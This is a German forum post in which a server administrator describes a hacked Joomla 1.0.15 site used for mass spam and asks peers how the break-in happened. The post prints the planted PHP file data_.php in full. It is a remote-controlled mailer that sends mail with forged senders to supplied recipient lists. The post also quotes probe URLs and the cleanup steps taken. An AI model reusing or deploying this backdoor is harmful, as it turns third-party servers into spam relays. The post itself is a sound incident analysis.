Hallo zusammen,

eine Joomla-Installation 1.0.15 auf einem unserer Webserver wurde als SPAM-Schleuder missbraucht. Bemerkt wurde dies zunächt durch die Meldung eines Users, dass seine Mails erst nach Stunden beim Empfänger ankommen. Nach einen Blick in die Qmail queue stellte ich einige tausend Mails fest. Diese wurden mit:
Received: (qmail 25940 invoked by uid 30) -> sprich wwwrun abgesendet. Als Absender wurde root @...hostname ... eingesetzt.

Nach dem Check der Installationen konnte ich bei dieser einen Installation eine Datei feststellen, die dort nicht hingehörte:
data_.php
___ Code__________________
<?
///////////////////////GET ENV//////////////////////////////////////////////////
if (isset($_POST['action']))
{
$action=$_POST['action'];
}
else
{
print "<h1>Under construction!!!</h1>";
exit;
}

if ($action=="test")
{
print "test_ok";
exit;
}

if ($action=="send")
{
$from = $_POST['from'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$emaillist = $_POST['emaillist'];
$random_mail = $_POST['random_mail'];
$random_name = $_POST['random_name'];
$realname = $_POST['realname'];
$replyto = $_POST['replyto'];
$random_reply = $_POST['random_reply'];
$subject = $_POST['subject'];
$random_sabj = $_POST['random_sabj'];
$mailfilename = $_POST['mailfilename'];
$mails_from_file = $_POST['mails_from_file'];
$log_to_file = $_POST['log_to_file'];
//////////////////////CHECK DATA////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);

$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
/* If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";*/
$header .= "Content-Type: text/$contenttype; Charset=windows-1251\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
/* If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";*/
mail($to, $subject, "", $header);
print "ok";
}
?>
__________________________________________________ _

Unter den freundlichen Urls von Open Sef konnte ich nach Entferung der Datei feststellen, dass fehlerhafte Einträge mit Zugriffsversuch auf diese Datei stattfanden. Ebenfalls auf eine Kontaktseite, die ich mit Facileforms 1.4.7 erstellt hatte, aber schon vorsichtshalber entfernt hatte. Desweiteren wurde in einem Contentartikel merkwürdiger Code entdeckt:
-------Code-------
<>&lt; mce_serialized=&quot;13cgqgm1d&quot;&gt;&lt;&gt;&l t; mce_serialized=&quot;13bk66osb&quot;&gt;&lt;&gt;&l t; mce_serialized=&quot;13bfdr49e&quot;&gt;&lt;&gt;&l t; mce_serialized=&quot;139mls070&quot;&gt;&lt;&gt;&l t; mce_serialized=&quot;139mlnv68&quot;&gt;&lt;&gt;&l t; mce_serialized=&quot;139ml29c3&quot;&gt;&nbsp; </>
---------------------------
Diese Seite wurde ebenfals mehrmal aufgerufen ...

Da der Timestamp dieser data_.php vom 15.06.2008 14:20 Uhr war konnte ich in der DB weitere häufige Zugriffsversuche sehen, unter anderen zeitnah:
//jce/jscripts/tiny_mce/auth_jce.php
//auth_jce.php

Nun, ich habe zwar mit der Löschun der Schad-Datei dem SPAM-Schleuder eliminiert, trotzdem fehlt mir noch der konkrete Zusammenhang und das "Loch".

Weitere Maßnahmen waren:
- Facileforms 1.4.7 deinstalliert
- Alle Dateien, die vom System mit wwwrun angelegt wurden mit dem beschränkten User versehen.
- Code aus dem Content entfernt

Gibt es bei Euch Erfahrungen mit solch einer Angriffsvariante?
Im Code der Datei werden "mailfilename", "mails_from_file" und "log_to_file" aufgeführt. Gibts ne Idee, was dahinter stecken könnte?

Grüße, Rolf